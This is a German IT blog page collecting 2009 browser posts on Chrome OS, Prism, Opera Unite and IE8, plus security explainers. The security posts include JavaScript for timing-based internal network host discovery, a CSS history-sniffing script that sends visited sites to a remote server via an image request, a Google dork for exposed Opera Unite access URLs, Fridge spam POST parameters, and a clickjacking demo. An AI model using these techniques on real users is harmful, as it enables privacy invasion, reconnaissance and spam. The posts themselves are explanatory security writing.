Google Chrome OS

November 19th, 2009 § 1

Es ist da, das Betriebssystem von Google. Chromium OS.

Ich will keinen Seitenlangen Blogpost schreiben. Das werden, spätestens morgen, viele Blogger und Newsseiten erledigen ;) Hier nur einige wichtige Stichworte:

  • Chrome OS bootet in sagenhaften 7 Sekunden (Auf welchem System wurde nicht gesagt)
  • Der User kann keine Programme installieren
  • Chrome OS hat eine nicht-beschreibbare root-Partition
  • für User-Daten wird eine verschlüsselte Partition angelegt
  • User-Einstellungen werden in die Cloud synchronisiert: Wlan-Einstellungen, Systemeinstellungen, Hintergrund, Lesezeichen,… Hat zur Folge: Man loggt sich an einer anderen Chrome OS-Maschine an und die Einstellungen passen. Die lokale Speicherung der Daten wird nur also nur als Cache genutzt.
  • vollständig Open Source
  • … uvm

Was Chrome OS genau ist, kann man sich im Webcast anschauen:

http://investor.shareholder.com/googpr/eventdetail.cfm?eventid=75092

Video zum Chrome OS Security Model:

http://www.youtube.com/v/A9WVmNfgjtQ&hl=en_US&fs=1&

Allgemeine Informationen zum Chrome OS:

http://www.youtube.com/v/A9WVmNfgjtQ&hl=en_US&fs=1&

Prism für Firefox: AddOns installieren

August 10th, 2009 § 0

Die Nutzer des Prism-Addons werden es wahrscheinlich schon gemerkt haben: Nicht alle Addons, die im normalen Firefox geladen sind, werden auch in Prism geladen. Besonders störend ist das z.B. bei Adblock Plus. Seiten die normalerweise werbefrei erscheinen, sind auf einmal vollgestopft mit Werbung, die das Lesen der Seiten unerträglich macht.

Installation der AddOns

Die Installation von AddOns unter Prism ist leider etwas umständlich. Den Vorgang will ich am Beispiel von AdBlock darstellen:

Als erstes müssen laden wir die aktuelle xpi von AdBlock herunter. Anschließend erstellt man eine neue Prism-Verknüpfung der gewählten Webseite auf dem Desktop. (Extras => Convert Website to Application) Hierbei ist besonders wichtig den Haken bei “Show status messages and progess” zu setzen.

Danach wird die Prism Verknüpfung gestartet. Unten Rechts befindet sich nun das Prism Addons MenuPrism-Menu. Darin wählen wir “Tools => AddOns”. Es erscheint der bekannte AddOn Manager von Firefox. Allerdings ist er in diesem Fall komplett leer, auch wenn im FF AddOns hinzugefügt sind. Jede Prism-Instanz hat ihren eigenen AddOn-Manager, d.h. man kann jeder Prism-Verknüpfung unterschiedliche AddOns hinzufügen. Bug or Feature? Keine Ahnung.

In diesen Manager kann nun über Drag&Drop das AddOn hineingezogen werden. Es installiert sich wie gewohnt. Prism muss danach neugestartet werden.

Kleiner Hinweis zu AdBlock Plus: Es muss, nachdem die Prism-Instanz neugestartet wurde, manuell über das AdBlock Plus Menu ein Filterlisten-Abonnement hinzugefügt werden.

Um die untere Statusleiste wieder zu entfernen muss man wieder “Convert Website to Application” auswählen und diesmal den Haken bei “Show status messages and progress” entfernen. Der Name der neuen und alten Prism-Instanz muss unbedingt identisch sein, sonst legt Prism eine neue Instanz an, statt die Einstellungen der alten Instanz zu aktualisieren.

Inkompatible Addons kompatibel machen

Nicht alle AddOns lassen sich unter Prism installieren. Manche AddOns verweigern beim installieren mit folgender Meldung den Dienst:

Prism falsche Version

Leider ist es nicht so, dass alle AddOns aus dem normalen Firefox auch unter Prism laufen. Einige wurden schon angepasst, beispielsweise AdBlock. Ob euer AddOn funktioniert oder nicht, kommt auf einen Versuch an. Um die obere Meldung zu umgehen, müssen folgende Schritte durchgeführt werden:

  1. Das AddOn muss heruntergeladen werden. Ihr habt nun eine XPI-Datei.
  2. Diese wird mit 7zip geöffnet. 7zip kann die nötigen Dateien live editieren, ohne das Archiv entpacken zu müssen.
  3. Bearbeitet die Datei installer.rdf
  4. Ihr findet folgende Einträge:

[...]

<!– FireFox –>
<em:targetApplication>
<Description>
<em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
<em:minVersion>3.0.9</em:minVersion>
<em:maxVersion>3.6a1pre</em:maxVersion>
</Description>
</em:targetApplication>

[...]

<!– Prism –>
<em:targetApplication>
<Description>
<em:id>prism@developer.mozilla.org</em:id>
<em:minVersion>1.0b1</em:minVersion>
<em:maxVersion>1.0.*</em:maxVersion>
</Description>
</em:targetApplication>

[...]

Über diese Einträge können die Anwendungen überprüfen, ob das gewählte AddOn kompatibel ist. Wenn der Prism-Eintrag nicht vorhanden ist, kann er ergänzt werden. Evtl. muss natürlich die Version (minVersion bzw. maxVersion) angepasst werden. Die Wahrscheinlichkeit, dass das AddOn unter Prism funktioniert ist aber leider gering. Mozilla dazu:

Since Prism is a totally separate host application, there are some Prism-specific issues that you need to handle when creating your extension. Most notably, the Prism application ID and the differences in the user interface (UI). Extensions typically overlay the host application’s UI to add toolbar buttons, menus and other features. One of Prism’s features is an extreme lack of UI elements, which means that trying to use the same overlays in Firefox and Prism is really not possible.

Ist der Eintrag schon vorhanden und die Meldung kommt trotzdem, muss hier nur noch die Version angepasst werden. Dann stehen die Chancen auch ziemlich gut, dass im gewählten AddOn nur die aktuelle Prism Version noch nicht eingetragen wurde und das AddOn trotzdem funktioniert.

XMLHTTPRequest “ping” sweeping mit Firefox 3.5+

Juli 21st, 2009 § 0

Eine interessante Idee hatten die Security-Spezialisten von ha.ckers.org. In ihrem aktuellen Blogartikel schreiben sie über eine Möglichkeit wie man z.B das interne Netz eines Surfers über den Browser auf die existenz aktiver Hosts überprüfen könnte.
Hierzu wird natürlich kein echtes ICMP-Packet durch den Browser generiert, sondern ein so genannter Cross-Origin Request an jeden einzelnen Host abgesetzt. Mit dieser Methode will das W3C den Authoren von Webapplicationen eine sichere Möglichkeit bieten, die so geannte Same Origin Policy zu umgehen.

Wie funktioniert das “ping” sweeping?

Diese Methode bediehnt sich eines einfachen Gedankens: Eine IP hinter der ein Host steckt, kann schneller reagieren als eine IP hinter der kein Host steckt. (Wie denn auch, wer soll da reagieren?)

Das W3C verbietet im Entwurf zu Cross Origin Request ganz deutlich, dass keine Informationen an den User ausgegeben werden dürfen, wenn das status flag nicht auf success steht.

Hosting specifications also need to ensure not to reveal anything until the status flag is set to success to prevent e.g. port scanning.

Indirekt tut es der Browser halt trotzdem:

Hier wichtigste Teil des Javascripts:

1:  function processRequest () {
2:    if (req.readyState == 4) {
3:    var d2 = new Date;
4:    var time = d2.getTime() – d.getTime();
5:         if (time < 18000) {
6:             if (time > 10) {
7:                 log (“Exists: ” + url + ” at ” + time + “ms.”);
8:             }
9:         } else {
10:           log (“Doesn’t exist: ” + url + ” at ” + time + “ms.”);
11:       }
12:  }
13: }

Im vorderen Teil des Skripts (hier nicht abgebildet) wird das neue XMLHTTPRequest-Objekt ( req ) sowie die Startzeit des Skripts ( d ) erzeugt.

Wenn der Request beendet ist (Zeile 2) vergleicht das Skript die Anfangs- und Endzeit (d und d2). Wenn die Hosts innerhalb von 10 – 18000 Millisekunden geantwortet haben, dann werden sie als Online deaklatiert.

Diese unterschiedlichen Zeiten entstehen dadurch, dass jeder aktive Host, egal ob er auf Port 80 erreichbar ist oder nicht, dem Browser schneller eine Reaktion auf die Anfrage liefern kann als ein Host der nicht im Netzwerk vorhanden ist. Wenn ein Host nicht im Netzwerk erreichbar ist, läuft der Browser einfach in einen Timeout. Der dauert natürlich deutlich länger…

Es gibt 3 Möglichkeiten, wie ein aktiver Host auf eine Anfrage durch den Browser reagieren kann:

  • Er schickt ein RST/FIN-Paket, weil auf diesem Port kein Dienst lauscht.
  • Er lässt eine Verbindung zu, weil ein HTTP-Server auf dem Port lauscht.
  • Er verwirft das Paket einfach.

Punkt 1 und 3 sind für das Skript ok und geben den Host als aktiv aus. Punkt 3 verfälscht das Ergebnis allerdings enorm. Dieser Fall entsteht durch eine aktive Firewall , die die Pakete einfach verwirft statt diese mit RST zu beantworten. Die Windows-Firewall (ab SP2 XP) ist z.B. so eingestellt. Genauso kann natürlich auch eine iptables-Firewall unter Linux eingestellt sein…

Link zum Test:

http://ha.ckers.org/weird/xhr-ping-sweep.html

Wer selbst ein wenig rumprobieren will, kann sich die Seite einfach abspeichern und im Quelltext das Array “sites”, entsprechend seiner IP-Range im lokalen Netzwerk, anpassen.

Prism for Firefox

Juli 16th, 2009 § 1

Google hat mit seinem Browser Chrome eine neue Funktion in die Browserwelt gebracht, die ich inzwischen nicht mehr missen will:

Die Möglichkeit eine Anwendungsverknüpfung auf dem Desktop zu erstellen.

D.h. Chrome erstellt eine Verknüpfung auf dem Desktop und darüber kann dann die Webseite direkt aufgerufen werden. Da besondere daran ist, dass die Webseite komplett ohne IT-Blogger in Chrome als AnwendungsverknüpfungMenuleiste, Adressleiste, etc. geladen wird. Die Webseite wird quasi als eine eigenständige Anwendung dargestellt. Ein Beispiel findet ihr rechts.

Für Googlemail, Googlekalender, etc.. ist diese Art von Verknüpfung wirklich perfekt. Außerdem hatte Chrome, als er veröffentlicht wurde, eine  superschnelle JavaScript Engine implementiert. Diese hat das Surfen auf Googlemail und Co. einfach spürbar schneller gemacht.

Damit war meine Begeisterung perfekt und seitdem habe ich Chrome als zusätzlichen Browser installiert, um Anwendungsverknüpfungen realisieren zu können.

Mozilla hat in der Firefox-Version 3.5 kräfig an der JavaScript Engine gefeilt und es hat sich wirklich gelohnt. Firefox kann Chrome in Sachen Schnelligkeit die Stirn bieten…

…und Firefox wäre nicht Firefox wenn es auch für die Anwendungsverknüpfungen ein AddOn Firefox Prism Addongeben würde.

Prism heißt das gute Stück und wird durch Mozilla Labs entwickelt. Die Installation ist wie gewohnt einfach. Einen Screenshot findet ihr hier Links. Wie unschwer zu erkennen ist, hat das AddOn einige zusätzliche Einstellungsmöglichkeiten, die Chrome nicht bietet.

Dieses Plugin macht Google Chrome (oder eher SrWare Iron) bei mir auf dem Rechner überflüssig. ;)

Hier noch der Link zum AddOn und dann bin ich auch schon still:

http://labs.mozilla.com/projects/prism/

Opera Unite

Juni 16th, 2009 § 1

Heute wollte Opera das Web neu erfinden. Das Web selbst haben sie nicht neu erfunden, allerdings einen Browser vorgestellt der nicht nur Client sondern auch Webserver sein kann.

Der Dienst, der diesen Server bereitstellt heißt Opera Unite Server und kann, in einer speziellen Version, unter „Tools“ => „Opera Unite Server“ aktiviert werden. Anschließend erscheint ein Wizard, der eine Grundeinstellung vornimmt.

Nachdem die erste Konfiguration ausgeführt wurde, können in der Sidebar per Doppelklick Anwendungen aktiviert werden. Opera liefert einige mit:

unite_menu

  • Filesharing: Dateien tauschen
  • Fridge: Notizzettel hinterlassen
  • Media Player: Streaming-Client
  • Photo Sharing: is klar, oder?
  • The Lounge: Chat
  • Web Server: Eigene Webseiten bereitstellen

Über einen Button (Add) können zusätzliche Plugins von der Opera-Homepage hinzugefügt werden.

Man kann für jeden Computer einen Computernamen angeben. Über die URL ComputerName.Username.operaunite.com kann man anschließend auf Unite zugreifen.

Die Anwendungen und auch Unite selbst sind äußerst einfach zu konfigurieren. Bei der Erstkonfiguration kann man auswählen, ob UPnP ein Destination-NAT einrichten soll. („Use UPnP Port Forwarding from my router“, hab ich noch nich probiert). Falls dieser Punkt ausgewählt wird versucht Opera dem Router über UPnP klar zu

Opera Unite Config

machen, dass er alle Verbindungen, die bei ihm an Port 8840 ankommen, zu Unite weiterleiten soll. Bei erfolgreicher Konfiguration ist Opera Unite also aus dem Internet über Port 8840 erreichbar.  D.h. jeder Unite-Teilnehmer kann direkt zugreifen.

Wählt man, wie hier in dem Bild, diese Option nicht aus, helfen Operas Server eine Verbindung aufzubauen: Alle Daten wandern dann über die eine Art Proxyserver, die bei Opera stehen. D.h. Client und Unite bauen eine Verbindung zu diesem Unite Proxy auf. Wenn der Client eine Datei anfrägt, lädt der Unite diese zum Proxy hoch. Dieser stellt dann anschließend die Daten dem Client zur Verfügung.

Hier ist allerdings zu beachten, dass Opera einen Datenkanal auf Port 16680 TCP öffnet. Darüber werden dann die Daten vom Unite Server zum Proxy geschickt. (Das ist eine Vermutung von mir, habe keine offiziellen Quellen gefunden). Ohne offenen Port 16680, kann kein Client auf Unite zugreifen.

*UPDATE* Falls jemand Unite wirklich einsetzen will, sollte er auf die zweite Variante zurückgreifen. Einen Port auf einen Rechner im LAN weiterleiten sollte man, wenn nicht unbedingt nötig, vermeiden.  *UPDATE*

clip_image002

Opera selbst schreibt in der Unite FAQ, dass keinerlei Informationen außerhalb des Kontrollbereiches des Users gespeichert werden:

Opera Unite technology resides in the Opera browser. No data is stored on servers outside your control. For connections, if UPnP (Universal Plug and Play) is not available, some server-side Opera technology will aid in establishing a connection between users

Positiv ist anzumerken, dass die meisten Dienste von Haus aus mit einem Zufallspasswort geschützt sind. Nicht ganz so gut: Alle User haben das gleiche Passwort. D.h. will man einen User aussperren, muss allen anderen das neue Passwort mitgeteilt werden.

Wie sollte es auch anders sein. Die ersten dieser Passwörter sind schon bei Google gelistet.

Der Googledork für Opera Unite-Anbieter, die Ihr Passwort schon im Internet “bekannt gemacht” haben:

http://www.google.de/search?q=inurl%3Aoperaunite.com+inurl%3Aaccess_content%20&hl=de&filter=0

Da kann man zusehen, wie Google immer mehr findet ^^

Achja … und kennt ihr schon Kühlschrank-Spam?

Ein HTTP POST mit folgenden Parametern

post=Viagra!&author=Name&email=e%40mail.de&submit=send&cancel=cancel

an eine dieser Adressen

http://www.google.de/search?q=inurl:operaunite.com+inurl:Fridge&hl=de&filter=0

und hoffen, dass einige Operianer impotent sind. ;)

Wo ich wirklich Potential sehe, ist das Plugin “Media Player”. Damit können Musikdateien spielend einfach für alle per Stream zur Verfügung gestellt werden. Das Plugin sollte sich bitte mal jemand für Google Wave vormerken! ;)

Start Panic! Besuchte Seiten ausspähen

April 25th, 2009 § 3

Gestern wurde ich von @tslg auf die Webseite www.startpanic.com hingewiesen. Nach einem Klick auf “Lets Start” findet die Webseite plötzlich Seiten, die man während dem surfen besucht hat. Erstaunlich und und wirkungsvoll. Man will gleich die Petition unterschreiben:

We are gathering petition signatures with the request to patch the privacy vulnerabilities of web different web browsers. This petition will be sent to the four major development companies – Mozilla Corp., Apple inc., Microsoft Corp. and Opera Software ASA. Join us for a safe and secure Internet!

Doch was passiert im Hintergrund, wie kommt die Webseite an die Daten? Eine unbekannte Sicherheitslücke in allen Browsern? Nicht wirklich.

Die Idee dahinter ist gut und die Webseite ist auch interessant umgesetzt. Da aber keinerlei startpanic Informationen über die Funktionsweise auf der Webseite stehen, hab ich mir das JavaScript, was im Hintergrund vom Browser ausgeführt wird, mal genauer angesehen.

Dieses Javascript ist ziemlich aufwendig und man braucht einige Zeit bis man es vollständig nachvollzogen hat… vor allem wenn man, wie ich, kein  Javascript-Nerd ist. ;)

Nachdem ich das Prinzip verstanden hatte, hab ich einen eigenen Code geschrieben. Der ist deutlich kürzer, arbeitet aber ähnlich.

Die Testwebseite:

http://www.it-blogger.net/files/jsinfogath/jsinfogath.htm

Auf dieser Webseite werden 2 Dateien eingebunden:

itblogger.js

style.css

In der itblogger.js sind 2 Javascript-Funktionen zu finden, die die Auswertung Informationen machen.

Die erste Funktion heißt writeURL(). Diese Funktion greift auf das Array “urls” zu und schreibt nacheinander Links zu den den Webseiten, die in diesem Array stehen, auf die Testwebseite. Zusätzlich wird jeder einzelne Link mit einer eindeutigen ID versehen. D.h. google.de hat die ID 0, it-blogger.net hat die ID 1,… playboy.de hat die ID 4.

Diese Links werden über die style.css unterschiedlich formatiert. Bereits besuchte Webseiten werden grün angezeigt, nicht besuchte Webseiten werden rot angezeigt. D.h.  playboy.de wird wahrscheinlich grün sein, spiegel.de rot. ;)

Das ist bisher nichts besonderes. Diese Funktion findet man auf vielen verschiedenen Webseiten und Links werden ja sowieso immer unterschiedlich angezeigt.

Bei der zweiten Funktion wird es interessant. checkState() geht die vorher erstellten Links durch und schaut ob diese grün oder rot dargestellt werden. Das passiert in diesem Codeabschnitt:

1: var besuchteseiten = “”;
2: for(var i = 0; i<urls.length;i++){
3:     var besucht = window.getComputedStyle(document.getElementById4(i),”" ).getPropertyValue(“color”);

[...]

5:    if(besucht==”rgb(0, 128, 0)”){
6:        besuchteseiten = besuchteseiten +”id=”+i;
7:    }

8:}

Über die Funktion getComputedStyle() (Z. 3) wird überprüft, wie der Browser den Link gerade anzeigt (rot  oder grün) . Dazu wählt die Funktion über getElementById() die Links (wir hatten Sie ja mit einer ID versehen) nacheinander aus und überprüft ob die Eigenschaft “color”gleich rgb(0, 128, 0)  (also grün) ist.

Wenn dies der Fall ist, schreibt die Funktion “id=x” (x steht für die jeweilige ID der Webseite) in die Variable “besuchteseiten“. Wenn mehrere Webseiten der Liste besucht wurden, werden diese zusammengesetzt in der Varaible gespeichert. Also id=0&id=2,… Außerdem wird ein neues Element unter “Besuchte Seiten” hinzugefügt.

Nachdem alle Webseiten überprüft und gelistet wurden, erzeugt die Funktion ein Bild:

1: div = document.getElementById(‘besucht’);
2: var img = document.createElement(“img”);
3: img.setAttribute(“src”,”http://www.it-blogger.net/files/jsinfogath/get.php?”+besuchteseiten);
4: 5: div.appendChild(img);

Dieses Bild hat als Quelle (Z 3) http://www.it-blogger.net/files/jsinfogath/get.php? und den String aus besuchten Webseiten:

Z.B:  http://www.it-blogger.net/files/jsinfogath/get.php?id=1&id=3

In diesem wurden also die Webseiten mit der ID 1 und 4 vom Client besucht. D.h. google.de und winfuture.de.

Dieses Bild versucht der Browser aufzurufen. Erfolglos, denn es gibt das Bild ja nicht. Über den versuchten Aufruf haben wir aber die Informationen über die vom Client besuchten Webseiten,  zu einem Server transportiert und könnten diese auf Serverseite weiterverarbeiten. In diesem Beispiel hier passiert auf Serverseite natürlich nichts! :)

Man kann natürlich auch das Bild verstecken – dann würde nichtmal der Platzhalter angezeigt werden. (siehe auskommentierte Zeile im Skript).

Auf startpanic.com wird eine etwas größere Datenbank für die Ermittlung der Webseiten verwendet:

http://www.startpanic.com/db/db_en.txt

Das sorgt natürlich für ein besseres Ergebnis. Um alles im Hintergrund zu überprüfen nutzt Startpanic kleine iframes, in die die jeweiligen Links eingebettet und danach überprüft werden. Ingesamt sieht die Startpanic-Version natürlich viel spektakulärer aus – es fehlt aber leider der technische Hintergrund. Das wurde hiermit erledigt ;)

IE8 Final kommt heute

März 19th, 2009 § 0

Wie diverse Newsseiten vermelden, soll die Finale Version vom IE8 heute erscheinen – und zwar genau jetzt um 17 Uhr.

Wahrscheinlich wird er unter http://www.microsoft.com/ie8 zu finden sein. Bleibt zu hoffen, dass der neue Browser dem IE6 weiter Marktanteile kostet. Dann müssen vielleicht nicht Webmaster Aktionen gegen den IE6 ins Leben rufen (http://iedeathmarch.org/). Momentan hat der IE6 ja noch 22% Marktanteil – ein erschreckend hohe Zahl.

Ob die Microsoft-Server den IE8-Ansturm aushalten wird sich dann bald zeigen. Ein kleiner Hype ist mit Sicherheit zu erwarten ;)

Ein Artikel von mir über “Vorgeschlagene Sites” – ein neues Feature im IE8 gibts hier:

http://www.it-blogger.net/it/software/internet-explorer-8/vorgeschlagene-sites-neues-feature-im-ie8

**UPDATE**

Die Gerüchte haben sich bestätigt. Punkt 17 Uhr war der Download online:

http://www.microsoft.com/windows/internet-explorer/default.aspx

Clickjacking – eine kleine Vorführung

Januar 27th, 2009 § 1

Definition Clickjacking:

Clickjacking ist eine Technik, bei der ein Computerhacker den Nutzer einer Internetseite dazu veranlasst scheinbar harmlose Mausklicks und/oder Tastatureingaben durchzuführen. Die entsprechende Internetseite wurde dabei allerdings vorher so manipuliert, dass ein unsichtbares oder nur sehr kurz sichtbares Fenster über der Stelle liegt, an der der Nutzer seine Eingaben tätigt.

wikipedia.de

Und nun ein berühmtes Video zum Thema Clickjacking (funktioniert inzwischen nicht mehr – Adobe hat reagiert):

Es gibt wahrscheinlich hunderte Arten von Clickjacking. Bei dem Video oben wird einem User ein Spiel vorgegaukelt. In Wahrheit schaltet er den Zugriff auf seine Webcam über Flash frei.

Eine andere Art hat ein User namens “MrDoug” demletzt veröffentlicht. Diese funktioniert nur im Firefox (und Chrome) und ist einfach und doch genial. Ich habe euch eine kleine Vorführung programmiert, basierend auf der Veröffentlichung von “MrDoug”:

http://it-blogger.net/files/clickjacking.htm

Man beachte dabei, dass Firefox hier einen echten Link erkennt und auch als Ziel “www.google.de” anzeigt. (links unten im Bild). Eigentlich ist der Link auch ein “echter” Link mit Ziel www.google.de. Allerdings weiß der Browser nicht, was nach dem Klick auf den Link passiert:

  1. Über Javascript wird, nach dem Klick auf den Link, die Position des Mauszeigers ermittelt. Genauer: Die Abstände des Mauszeigers nach oben und nach links.

    Clickjacking - Vorführung

    Clickjacking - Vorführung

  2. Nachach wird, auch über Javascript, ein div-Container genau an die vorher ermittelte Stelle des Mauszeigers plaziert. D.h. unter dem Mauszeiger liegt nun eine kleine Fläche (2 x 2 Pixel). Für diese kleine Fläche wurde vorher über Javascript definiert, dass sobald der Mauszeiger diese Fläche berührt, eine andere Webseite geladen wird. (Im Beispiel www.it-blogger.net).  (Ich habe die Fläche schwarz eingefärbt – d.h. sie ist am Anfang links oben sichtbar und nach den Klick, findet Ihr sie direkt unter eurem Mauszeiger. Ihr müsst genau hinschauen ;) )
  3. Da sich ja nun die kleine Fläche direkt unter unserem Mauszeiger befindet, bedeutet das für den Browser, dass www.it-blogger.net geladen werden soll. Genau das macht der Browser dann auch. Er läd www.it-blogger.net statt www.google.de – obwohl www.google.de als Linkziel angezeigt war.

Statt www.it-blogger.net könnte man natürlich auch jede Seite mit Ref-Links oder sonst irgendwas laden – die User würden das erst nach dem Klick merken.

Das Ganze funktioniert momentan im Firefox und Chrome. Opera und der IE laden brav die richtige Seite…

Where Am I?

You are currently browsing entries tagged with Browser at IT-Blogger.